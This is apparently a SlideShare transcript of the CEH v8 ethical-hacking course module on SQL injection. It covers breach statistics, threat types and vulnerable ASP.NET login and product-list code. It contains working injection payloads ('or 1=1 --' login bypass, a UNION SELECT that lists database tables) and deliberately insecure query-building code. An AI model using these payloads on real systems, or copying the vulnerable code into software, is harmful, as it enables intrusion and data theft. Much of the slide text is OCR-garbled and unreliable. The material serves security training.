Ce hv8 module 14 sql injection
Upcoming SlideShare
Loading in...5
×
 

Ce hv8 module 14 sql injection

on

  • 488 views

 

Statistics

Views

Total Views
488
Views on SlideShare
488
Embed Views
0

Actions

Likes
3
Downloads
147
Comments
0

0 Embeds 0

No embeds

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Ce hv8 module 14 sql injection Ce hv8 module 14 sql injection Document Transcript

  • S Q L In je c tio n Module 14
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection IV/lnrlnlo 1A E t h ic a l H a c k i n g a n d C o u n t e r m e a s u r e s V8 M o d u l e 1 4 : S Q L I n je c t io n E x a m 3 1 2 -5 0 Module 14 Page 1987 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Security News Barclays: 97 Percent of Data Breaches Still due to S Q L Injection SQ injection attacks have been around for m than ten years, L ore an security professionals are m than capable of protecting d ore ag st them yet 9 percent of data breaches worldwide are still due ain ; 7 to an SQ injection som here along the lin according to N Jones, L ew e, eira head of paym security for Barclaycard. ent Speaking at the Infosecurity Europe Press Conference in London this w eek, Jones said that hackers are taking advantage of businesses with inadequate an often outdated inform d ation security practices. C g the m recent itin ost fig res fromthe N u ational Fraud A uthority, she said that identity fraud co sts the U m than £ .7 b n every year, and affects m than 1 m n K ore 2 illio ore .8 illio people. "Data breaches have becom a statistical certainty," saidJones. "If you look e at w the p b individ is concerned about, protecting personal hat u lic ual inform ation isactually at the sam level inthe scale of p lic social concerns e ub as preventing crim e." ‫ז‬ http://news.techworld.com Copyright © b y EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited. S e c u rity N ew s Neuis B a r c l a y s : 97 P e r c e n t o f D a t a B r e a c h e s S t i l l D u e t o S Q L In je c tio n Source: http://news.techworld.com SQL injection attacks have been around for more than ten years, and security professionals are more than capable of protecting against them; yet 97 percent of data breaches worldwide are still due to an SQL injection somewhere along the line, according to Neira Jones, head of payment security for Barclaycard. Speaking at the Infosecurity Europe Press Conference in London this week, Jones said that hackers are taking advantage of businesses with inadequate and often outdated information security practices. Citing the most recent figures from the National Fraud Authority, she said that identity fraud costs the UK more than £2.7 billion every year, and affects more than 1.8 million people. "Data breaches have become a statistical certainty," said Jones. "If you look at what the public individual is concerned about, protecting personal information is actually at the same level in the scale of public social concerns as preventing crime." Module 14 Page 1988 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL injection is a code injection technique that exploits security vulnerability in a website's software. Arbitrary data is inserted into a string of code that is eventually executed by a database. The result is that the attacker can execute arbitrary SQL queries or commands on the backend database server through the web application. In October 2011, for example, attackers planted malicious JavaScript on Microsoft's ASP.Net platform. This caused the visitor's browser to load an iframe with one of two remote sites. From there, the iframe attempted to plant malware on the visitor's PC via a number of browser drive-by exploits. Microsoft has been offering ASP.Net programmers information on how to protect against SQL injection attacks since at least 2005. However, the attack still managed to affect around 180,000 pages. Jones said that, with the number of interconnected devices on the planet set to exceed the number of humans by 2015, cybercrime and data protection need to take higher priority on the board's agenda. In order for this to happen, however, the Chief Information Security Officer (CISO) needs to assess the level of risk within their organisation, and take one step at a time. "I always say, if anyone says APT [advanced persistent threat] in the room, an angel dies in heaven, because APTs are not the problem," said Jones. "I'm not saying that they're not real, but let's fix the basics first. Are organisations completely certain they're not vulnerable to SQL injections? And have they coded their web application securely?" Generally it takes between 6 and 8 months for an organisation to find out it has been breached, Jones added. However, by understanding their risk profile and taking simple proactive measures, such as threat scenario modelling, companies could prevent 87 percent of attacks. Copyright © IDG 2012 By Sophie Curtis http://news.techworld.com/securitv/3331283/barclavs-97-percent-of-data-breaches-still-due-tosal-iniection/ Module 14 Page 1989 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker M odule Objectives J Network Reconnaissance Using SQL Injection J SQL Injection Tools J J Evasion Technique How to Defend Against SQL Injection Attacks J SQL Injection Detection Password Grabbing J SQL Injection Detection Tools SQL Injection Attacks J Bypass Website Logins Using SQL Injection J J SQL Injection J J SQL Injection Attack Characters J Testing for SQL Injection J Types of SQL Injection J Blind SQL Injection J CEH SQL Injection Methodology J Advanced SQL Injection Copyright © b y EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited. M o d u le O b je c tiv e s This module introduces you the concept of SQL injection and how an attacker can exploit this attack methodology on the Internet. At the end of this module, you will be familiar with: e SQL Injection © Advanced SQL Injection e SQL Injection Attacks s Bypass Website Logins Using SQL Injection e SQL Injection Detection Q Password Grabbing Q SQL Injection Attack Characters Q Network Reconnaissance Using SQL Injection 0 Testing for SQL Injection e SQL Injection Tools e Types of SQL Injection e Evasion Technique e Blind SQL Injection e How to Defend Against SQL Injection Attacks e SQL Injection Methodology Q SQL Injection Detection Tools Module 14 Page 1990 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection I i Exam 312-50 Certified Ethical Hacker M o d u le F lo w To understand SQL injection and its impact on the network or system, let us begin with the basic concepts of SQL injection. SQL injection is a type of code injection method that exploits the safety vulnerabilities that occur in the database layer of an application. The vulnerabilities mostly occur due to the wrongly filtered input for string literal escape characters embedded in SQL statements from the users or user input that is not strongly typed and then suddenly executed without correcting the errors. Module 14 Page 1991 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker * SQL Injection Concepts Testing for SQL Injection ^ Advanced SQL Injection SQL Injection Tools Types of SQL Injection ) :^ ‫ן‬ ^ Evasion Techniques Blind SQL Injection y — Countermeasures v‫— ׳‬ SQL Injection Methodology This section introduces you to SQL injection and the threats and attacks associated with it. Module 14 Page 1992 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection cs Q SQL Injection is the 9 It is a fla w in W e b © Q M o st program m ers are most com m on w e b site A p p licatio n s and not a still not a w a re of this v u ln e ra b ility on the database or w eb threat Internet se rver issue © Copyright © b y EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. 1 SQ L SQL In je c tio n SQL injection is a type of web application vulnerability where an attacker can manipulate and submit a SQL command to retrieve the database information. This type of attack mostly occurs when a web application executes by using the user-provided data without validating or encoding it. It can give access to sensitive information such as social security numbers, credit card numbers, or other financial data to the attacker and allows an attacker to create, read, update, alter, or delete data stored in the backend database. It is a flaw in web applications and not a database or web server issue. Most programmers are still not aware of this threat. Module 14 Page 1993 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Scenario v o la tility s u b d u e d _ — « ■rt‫. רד 3 ־‬Q u 1j . v Albert Gonzalez, an indicted hacker stole 130 million credit and debit cards, the biggest identity theft case ever prosecuted in the United States. He used SQL injection attacks to install sniffer software on the companies' servers to intercept credit card data as it was being processed. http ://www. theregister.co. uk pro**— 1 B u s i n e s s ^ w o r l d —•■nomic upturn 0 p 1 1 . m l s t i c lid a s s e t s Copyright © b y EC-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. a S c e n a rio Albert Gonzalez, an indicted hacker stole 130 million credit and debit cards, performed the biggest identity theft case ever prosecuted in the United States. He used SQL injection attacks to install sniffer software on companies' servers to intercept credit card data as it was being processed. Module 14 Page 1994 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection Is the M ost Prevalent Vulnerability in 2012 CEH SQL Injection Unknown DD0S D efacem ent Targeted Attack DNS Hijack Password Cracking Account Hijacking Java Vulnerability Other http://hackmageddon.com Copyright © b y EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. Source: http://hackmageddon.com According to http://hackmageddon.com. SQL injection is the most commonly used attack by the attacker to break the security of a web application. From the following statistics that were recorded in September 2012, it is clear that, SQL injection is the most serious and mostly used type of cyber-attack performed these days when compared to other attacks. Module 14 Page 1995 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection Unknown DDoS Defacement Targeted Attack DNS Hijack Password C racking Account Hijacking Java Vulnerability Other FIGURE 14.1: SQL Injection Module 14 Page 1996 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection Threats CEH U rtifM IthKJl lUckM O Spoofing Identity C hanging Price Tam w per ith D atabase Records^ '/ •. ‫- ־׳‬ M odifying Records : Escalation of Privileges Voiding Machine's ^Critical Transactions D enial‫־‬of‫־‬Service on the Server Complete Disclosure of all Data on the System . D estruction of D ata Copyright © by EG-GtUIICil. All Rights R eserved. Reproduction is Strictly Prohibited y SQL In je c tio n T h re a ts The following are the major threats of SQL injection: 9 Spoofing identity: Identity spoofing is a method followed by attackers. Here people are deceived into believing that a particular email or website has originated from the source which actually is not true. © Changing prices: One more of problem related to SQL injection is it can be used to modify data. Here the attackers enter into an online shopping portal and change the prices of product and then purchase the products at cheaper rates. Q Tamper with database records: The main data is completely damaged with data alteration; there is even the possibility of completely replacing the data or even deleting the data. Q Escalation of privileges: Once the system is hacked, the attacker seeks the high privileges used by administrative members and gains complete access to the system as well as the network. 9 Denial-of-service on the server: Denial-of-service on the server is an attack where users aren't able to access the system. More and more requests are sent to the server, which can't handle them. This results in a temporary halt in the services of the server. Module 14 Page 1997 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection 0 Exam 312-50 Certified Ethical Hacker Complete disclosure of all the data on the system: Once the network is hacked the crucial and highly confidential data like credit card numbers, employee details, financial records, etc. are disclosed. 0 Destruction of data: The attacker, after gaining complete control over the system, completely destroys the data, resulting in huge losses for the company. © Voiding system's critical transaction: An attacker can operate the system and can halt all the crucial transactions performed by the system. 0 Modifying the records: Attackers can modify the records of the company, which proves to be a major setback for the company's database management system. Module 14 Page 1998 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker - What Is SQL Injection? CEH SQL injection is a technique used to take advantage of non-validated input vulnerabilities to pass SQL commands through a web application for execution by a backend database SQL injection is a basic attack used to either gain unauthorized access to a database or to retrieve information directly from the database Copyright © b y EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited. SOL W h a t Is SQL In je c tio n ? Structured Query Language (SQL) is basically a textual language that enables interaction with a database server. SQL commands such as INSERT, RETRIEVE, UPDATE, and DELETE are used to perform operations on the database. Programmers use these commands to manipulate data in the database server. SQL injection is defined as a technique that takes advantage of non-validated input vulnerabilities and injects SQL commands through a web application that are executed in a back-end database. Programmers use sequential SQL commands with client-supplied parameters making it easier for attackers to inject commands. Attackers can easily execute random SQL queries on the database server through a web application. Attackers use this technique to either gain unauthorized access to a database or to retrieve information directly from the database. Module 14 Page 1999 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker J On the basis of application used and the way it processes user supplied data, SQL injection can be used to implement the attacks mentioned below: A u th e n tic a tio n B y p a s s U gth attack, an attacker lo sonto anap lication sin is g p w ithout p vid gvalid u nam an p o ro in ser e d assw rd an g s ad inistrative p d ain m rivileg es R e m o te C o d e E x e c u t io n In fo r m a t io n D is c lo s u r e It assistsan attacker to com prom the host O ise S U gth attack, anattacker sin is o tain sen b s sitive inform ation that issto inthe d ase red atab C o m p r o m is e d C o m p r o m is e d D a ta In t e g r it y A v a ila b ilit y o f D a ta A attacker u th attackto d n ses is eface a w p e in m eb ag , sert aliciouscontent in to w p es, or alter the contents of a eb ag d ase atab A ttackers u th attacktodelete se is the d atabase in ation delete form , lo , or au it in ation that is g d form sto ina d ase red atab /Copyright © b y EG-CMMCil. All Rights JteSeivecL R ep ro d u ctio n is Strictly Prohibited. SQL In je c tio n A tta c k s Based on the application and how it processes user-supplied data, SQL injection can be used to perform the following types of attacks: a Authentication bypass: Here the attacker could enter into the network without providing any authentic user name or password and could gain the access over the network. He or she gets the highest privilege in the network. Q Information disclosure: After unauthorized entry into the network, the attacker gets access to the sensitive data stored in the database. Q Compromised data integrity: The attacker changes the main content of the website and also enters malicious content into it. Compromised availability of data: The attacker uses this type of attack to delete the data related to audit information or any other crucial database information. Remote code execution: An attacker could modify, delete, or create data or even can create new accounts with full user rights on the servers that share files and folders. It allows an attacker to compromise the host operating system. Module 14 Page 2000 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker How Web Applications Work CEH h ttp://juggyboy.com /?id= 6329& print= Y Internet W e b S erver Firew all OS System Calls Operating System ID Tech W e b A pplication Topic 6329 DBM S SELECT * from news where id = 6329 CNN O utput Copyright © b y EC-ClUIICil. All Rights Reserved. Reproduction is Strictly Prohibited. H ow W eb A p p lic a tio n s W ork A web application is a software program accessed by users over a network through a web browser. W eb applications can be accessed only through a web browser (Internet Explorer, Mozilla Firefox, etc.). Users can access the application from any computer of a network. Based on web applications, web browsers also differ to some extent. Overall response time and speed is dependent on connection speed. Step 1: The user requests through the web browser from the Internet to the web server. Step 2: The W eb Server accepts the request and forwards the request sent by the user to the applicable web application server. Step 3: The web application server performs the requested task. Step 4: The web applications accesses the entire database available and responds to the web server. Step 5: The web server responds back to the user as the transaction is complete. Step 6: Finally the information that the user requested appears on the monitor of the user. Module 14 Page 2001 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker ID Topic New s 6329 Tech CNN SELECT * from news where id = 6329 FIGURE 14.2: Working of Web Applications Module 14 Page 2002 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Server-side Technologies CEH Powerful server-side technologies like ASP.NET and database servers allow developers to create dynam ic, data-driven websites with incredible ease The power of ASP.NETand SQL can easily be exploited by hackers using SQL injection attacks SQL Server A relational databases,SQLServer, Oracle, IBM D ll B2, and MySQL, are susceptible to SQL-injection attacks SQ injection attacks do not exploit a specific softw L are vulnerability, instead they target websites that do not follow secure coding practices for accessing and m anipulating data stored in a relational database Copyright © b y EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. S e rv e r-sid e T e c h n o lo g ie s This technology is used on the server side for client/server technology. For achieving business success, not only information is important, but we also need speed and efficiency. Server-side technology helps us to smoothly access, deliver, store, and restore information. Various server-side technologies include: ASP, ASP.Net, Cold Fusion, JSP, PHP, Python, and Ruby on Rails. Server side technologies like ASP.NET and SQL can be easily exploited by using SQL injections. Q Powerful server-side technologies like ASP.NET and database servers allow developers to create dynamic, data-driven websites with incredible ease. Q All relational databases, SQL Server, Oracle, IBM DB2, and MySQL, are susceptible to SQL injection attacks. e SQL injection attacks do not exploit a specific software vulnerability; instead they target websites that do not follow secure coding practices for accessing and manipulating data stored in a relational database. The power of ASP.NET and SQL can easily be exploited by attackers using SQL injection attacks. Module 14 Page 2003 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker CEH HTTP Post R equest h ttp :// ju ggyb oy.com /lo gon .aspx ?usern am e= bart& p assw ord= sim p so n Account Login Usern am e Password J ^ b art simp! W h e n a user provides inform ation and clicks Subm it, th e brow ser subm its a string to th e w eb server th at contains the user's credentials This string is visible in th e body of the HTTP or HTTPS POST request as: SQL query at the database select * from Users where (username = 1 a r t 1 and b password = •simpson1); <form action-"/cgi-bin/login” me thod-pos t> Username: <input type-text name-username> Password: <input type=password name=password> <input type=submit value=Login> ■a••■........... .............. ................ .......................... .. Copyright © b y EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. H TTP P ost R eq u est An HTTP POST request creates a way of passing larger sets of data to the server. The HTTP POST requests are ideal for communicating with an XM L web service. These methods are designed for data submission and retrieval on a web server. W hen a user provides information and clicks Submit, the browser submits a string to the web server that contains the user's credentials. This string is visible in the body of the HTTP or HTTPS POST request as: SQL query at the database s e le c t * from U sers where (username = ,b a r t ' and password = 's im p s o n '); <form a c tio n = "/ c g i- b in / lo g in " method=post> Username: < input typ e= text name=username> Password: <input type=password name=password> C in p ut type=submit value=Login> Module 14 Page 2004 Ethical Hacking and Countermeasures Copyright © by EC-COUIICil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Example 1: Normal SQL Query I Q Q http://juggyboy.com/BadLogin.aspx B a d L o g in . a s p x . c s p r iv a t e v o id c m d L o g in S y s te m . E v e n tA r g s { 9 jy B o y .c o m s trin g s trC n x C lic k (o b je c t se n d e r, e ) = " se rve r= l o c a l h o s t ; d a t a b a s e = n o r t h w i n d /u i d = s a ; p w d = ; " ; S q lC o n n e c tio n cnx = new S q lC o n n e c t io n (s tr C n x ) c n x .O p e n ( ) ; / / T h is code is s u s c e p t ib le to SQ L in je c t io n a tta c k s . string strQry = "SELECT Count(*) FROM Users W HERE U s e r N a m e ‫ + "' ־‬t x t U ser.Text + " ‫ י‬AND Password ‫ + "י ־‬txtPasswo r d . T e x t + in t in tR e c s ; S q lC o m m a n d in t R e c s Web Browser i f ■ cm d ■ new (in t) (in t R e c s > 0 ) S q lC o m m a n d (s tr Q r y , cnx) ; cm d.E x e c u t e S c a la r ( ) ; { F o r m s A u t h e n t ic a t io n .R e d ir e c tF r o m L o g in P a g e (tx tU s e r .T e x t, f a ls e ); lb lM s g .T e x t C onstructed SQ L Q u e ry <■ } e ls e — ‫ ״‬L o g in { a tte m p t fa ile d .‫; ״‬ ) c n x .C lo s e ( ) ; > SELECT Count(*) FROM Users WHERE UserName=‫״‬Jason1 AND Password ‫י ־‬Springfield 1 Server-side Code (BadLogin.aspx) /Copyright © b y EC - C M IC il. All Rights JteServ ed lR ep ro d u ctio n Is Strictly Prohibited. E x a m p l e 1: N o r m a l S Q L Q u e r y Here the term "query" is used for the commands. All the SQL code is written in the form of a query statement and finally executed. Various data operations of the SQL queries include selection of the data, inserting/updating of the data, or creating data objects like databases and tables with SQL. All the query statements begin with a clause such as SELECT, UPDATE, CREATE, and DELETE. SQL Query Examples: Module 14 Page 2005 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker ■‫ף‬ hup://]uggyboy ( 0ii1/B«kI login wvpx B J u g g y B o y .c o m b o d L o g rn . a c p x . ce p r i v a t e v o i d c m d L o g 1 n _ C 1 1 c k (o b je c t s e n d e r , S y s te n .E v e n tA r g s e) < s t r i n g s trC n x = • s e r v o r= ‫׳‬ lo c A l h o s t ; d a t a b a a o ‫ ־‬n o r t h H 1 n d ;u i d - s a ?p w d - ; " ; S q l C o n n e c t io n c n x = new S q l C o n n e c t i o n ( s t r C n x ) ; c n x . Open ( ) ; / / T h is cod e i s a tta c k s . s trin g U se rs " ‫י‬ W eb Brow ser Constructed SQL Query SELEC T C o u n t(• ) U s e r N a 1*e = ' • T a s o n ' FRO M U s e r s AN D W HERE W HERE AND s u s c a p t ib le s trQ ry = to ‫ ״‬SELEC T U se rN a m e = ' ‫״‬ P a s s w o r d * '" + SQ L i n j e c t i o n C o u n t ( * ‫)׳‬ + FRO M tx tU s e r.T e x t tx tP a s s w o rd . T e x t + + i n t m tR e c s ; S q lC o aaa an d e n d = new SqlCom m and ( s t r Q r y , c n x ) : m t R e c s = ( i n t ) crad . E x e c u t e S c a l a r () ; i f (in t R e c s > 0 ) { F o r m s A u t h e n t ic a t io n . R e d ir e c t F r o m L o g in P a g e ( t x t U s e r .T e x t, f a l s e ) ; ) e l s e { lf c lM s g . T e x t = " L o g i n a t t e m p t f a i l e d . " ; } c n x .C lo s e () ; ) P a s s w o rd ‫ ' ־‬S p r in g f ie ld * Server Side Code (BadLogin.aspx) FIGURE 14.3: SQL Query Exam ple Module 14 Page 2006 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker CEH Example 1: SQL Injection Query I Q Q http://juggyboy.com/BadLogin.aspx 9 jy B o y .c o m Attacker Launching SQL Injection SELECT Count(*) FR M Users W ERE UserNam Blah' or 1 1 --1 A D Password='Springfield1 O H e=1 = N SELECT Count(*) FR M Users W ERE UserNam Blah' or 1 1 O H e=‫י‬ = —' A D Password='Springfield1 N SQL Query Executed Code after — are now com ents m Copyright © b y EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. ‫ ן‬E x a m p l e 1: S Q L I n j e c t i o n Q u e r y The most common operation in SQL is the query, and it is performed with the declarative SELECT statement. This SELECT command retrieves the data from one or more tables. SQL queries allows a user to describe or assign the desired data, and leave the DBMS (Data Base Management System) as responsible for optimizing, planning, and performing the physical operations. A SQL query includes a list of columns to be included in the final result of the SELECT keyword. If the information submitted by a browser to a web application is inserted into a database query without being properly checked, then there may be a chance of occurrence of SQL injection. HTML form that receives and passes the information posted by the user to the Active Server Pages (ASP) script running on IIS web server is the best example of SQL injection. The information passed is the user name and password. By querying a SQL server database these two data items are checked. username B la h ' o r 1=1 — password S p r in g f ie ld The query executed is: SELECT C o u n t(*) FROM U sers Password‫ ' ־‬S p r i n g f i e l d 1; Module 14 Page 2007 WHERE UserName=' B la h ' or 1=1 -- AND Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker However, the ASP script builds the query from user data using the following line: B la h query = 1SELECT * FROM u sers WHERE username = 1" + B la h 1 or 1=1 — 1 +‫ ' ״‬AND password = + S p r in g f ie ld + If the user name is a single-quote character (') the effective query becomes: SELECT * FROM ' [S p r in g fie ld ]'; s e rs WHERE username = 111 AND password = This is invalid SQL syntax and produces a SQL server error message in the user's browser: M ic r o s o ft OLE DB P r o v id e r f o r ODBC D r iv e r s e r r o r '80040el4' [M icro so ft][O D B C SQL S e r v e r D r iv e r ][S Q L S e rv e r]U n c lo s e d q u o ta tio n mark b e fo re the c h a r a c te r s t r in g ‫ ' י‬and p assw ord = ''. / lo g in .a s p , l i n e 16 The quotation mark provided by the user has closed the first one, and the second generates an error, because it is unclosed. At this instance, to customize the behavior of a query, an attacker can begin injecting strings into it. The content proceeding the double hyphes (--) signify a Transact-SQL comment. 0®£ 13© nttp://|usfivt>0Y com/Badiofiin.aspx ^ B o y .c o m p a ■ 1=1•- ! Blah‫ ־‬or [ SELECT Count(*) Springfield < .................................. A ttacker Launching SQ L Injectio n FROM Users WHERE UserName” ‫י‬B l a h ' or 1"1 --' AND Password‫' ״‬Springfield' SQ L Q u e ry Executed Code after — are com ments FIGURE 14.4: SQL Injection Query Exam ple Module 14 Page 2008 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker CEH Exam ple 1: Code Analysis When the attacker enters blah' or 1 1 - then the SQL query w = ill look like: SELECT Count(*) FRO M Users W HERE UserName='blah ‫ י‬Or 1 1 — = ‫ י‬A D Password='' N Because a pair of hyphens designate the beginning of a com ent in SQ the query sim m L, ply becom es: SELECT Count(*) FRO M Users W HERE UserName='blah' Or 1 1 = A user enters a user name and password that matches a record in the user's table J A dynamically generated SQL query is used to retrieve the number of matching rows J The user is then authenticated and redirected to the requested page string strQry = "SELECT Count(*) FROM Users WHERE U s e r N a m e ‫+ "' ־‬ txtUser.Text + AND Password‫" ־‬ + t x t P a s s w o r d .Text + . ; . Copyright © b y EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited. E x a m p l e 1: C o d e A n a l y s i s Code analysis is the process of automated testing of the source code for the purpose of debugging before the final release of the software for the purpose of sale or distribution. a A user enters a user name and password that matches a record in the Users table © A dynamically generated SQL query is used to retrieve the number of matching rows © The user is then authenticated and redirected to the requested page W hen the attacker enters blah' or 1=1 - then the SQL query can look like: SELECT Count Password‫' ' ־‬ (*) FROM U sers WHERE UserName=' b l a h ' Or 1=1 — ' AND Because a pair of hyphens designates the beginning of a comment in SQL, the query simply becomes: SELECT Count (*) FROM U sers WHERE UserName=' b la h ' Or 1=1 s t r in g s trQ ry = "SELECT C o u n t(*) FROM U sers WHERE tx tU s e r .T e x t + 1 ' AND Passw ord= '" + tx tP a s s w o rd . Text + 1 Module 14 Page 2009 UserName='" + Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Example 2: BadProductList.aspx CEH This page displays products GO p r iv a te from the Northwind database and allows users http://juggyboy.com/BadProductList.aspx to filter the resulting list of v o id c m d F ilt e r _ C lic }c (o b je c t d g r P r o d u c t s . C u r re n tP a g e ln d e x b in d D a ta G r id ( ) ; } sen d e r. S y s te m .E v e n tA r g s e) products using a textbox called txtFilter { = 0; p r i v a t e v o id b in d D a t a G r id () { d g rP ro d u c ts .D a ta S o u rc e = c r e a t e D a t a V ie w (); d g r P r o d u c ts .D a ta B in d ( ) ; p r iv a te D a t a V ie w ) c re a te D a ta V ie w () Lik the previous e exam (BadLogin.aspx), ple this code isvulnerable to SQ injection attacks L { s t r in g s trC n x = " s e r v e r ‫ ־‬l o c a l h o s t ; u id = s a ;p w d = ; d a ta b a s e ‫ ־‬n o r t h w in d ; " ; s trin g s trS Q L - "S E L E C T "Q u a n tity P e r U n it , / / T h is i f code is P r o d u c t ld , U n it P r ic e s u s c e p t ib le to ( t x t F i l t e r .T e x t . L e n g th 8 trS Q L S q lC o n n e c t io n +‫״‬ ‫״‬ cnx W H ERE P ro d u c tN a m e , " SQ L i n j e c t i o n > 0) a tta c k s . { P ro d u c tN a m e L IK E ‫״י‬ + t x t F i l t e r .T e x t • < ‫;״‬ « new S q l C o n n e c t i o n ( s t r C n x ) ; ‫־־‬ S q l D a t a A d a p t e r s d a = new S q l D a t a A d a p t e r ( s t r S Q L , D a t a T a b le d t P r o d u c t s = new D a t a T a b l e ( ) ; sd a.F ill(d t P r o d u c t s ); re tu rn ♦ FROM P r o d u c t s " ; The executed SQ is L constructed dynam ically froma u ser-su p p lied in u pt c n x ); Attack Occurs Here d tP r o d u c ts .D e fa u ltV ie w ; Copyright © b y EG-Giancil. All Rights Reserved. Reproduction is Strictly Prohibited. E x a m p l e 2: B a d P r o d u c t L i s t . a s p x Source: http://msdn.microsoft.com This page displays products from the Northwind database and allows users to filter the resulting list of products using a textbox called txtFilter. Like the last example, the page is ripe for SQL injection attacks because the executed SQL is constructed dynamically from a userentered value. This particular page is a hacker's paradise because it can be hijacked by the astute hacker to reveal secret information, change data in the database, damage the database records, and even create new database user accounts. Most SQL-compliant databases including SQL Server, store metadata in a series of system tables with the names sysobjects, syscolumns, sysindexes, and so. This means that a hacker could use the system tables to ascertain schema information for a database to assist in the further compromise of the database. For example, the following text entered into the txtFilter textbox might be used to reveal the names of the user tables in the database: UNION SELECT id , name, 0 FROM s y s o b je c ts WHERE xtype = 'U ' -- The UNION statement in particular is useful to a hacker because it allows him or her to splice the results of one query onto another. In this case, the hacker has spliced the names of the user tables in the database to the original query of the Products table. The only trick is to match the number and data types of the columns to the original query. The previous query might reveal Module 14 Page 2010 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
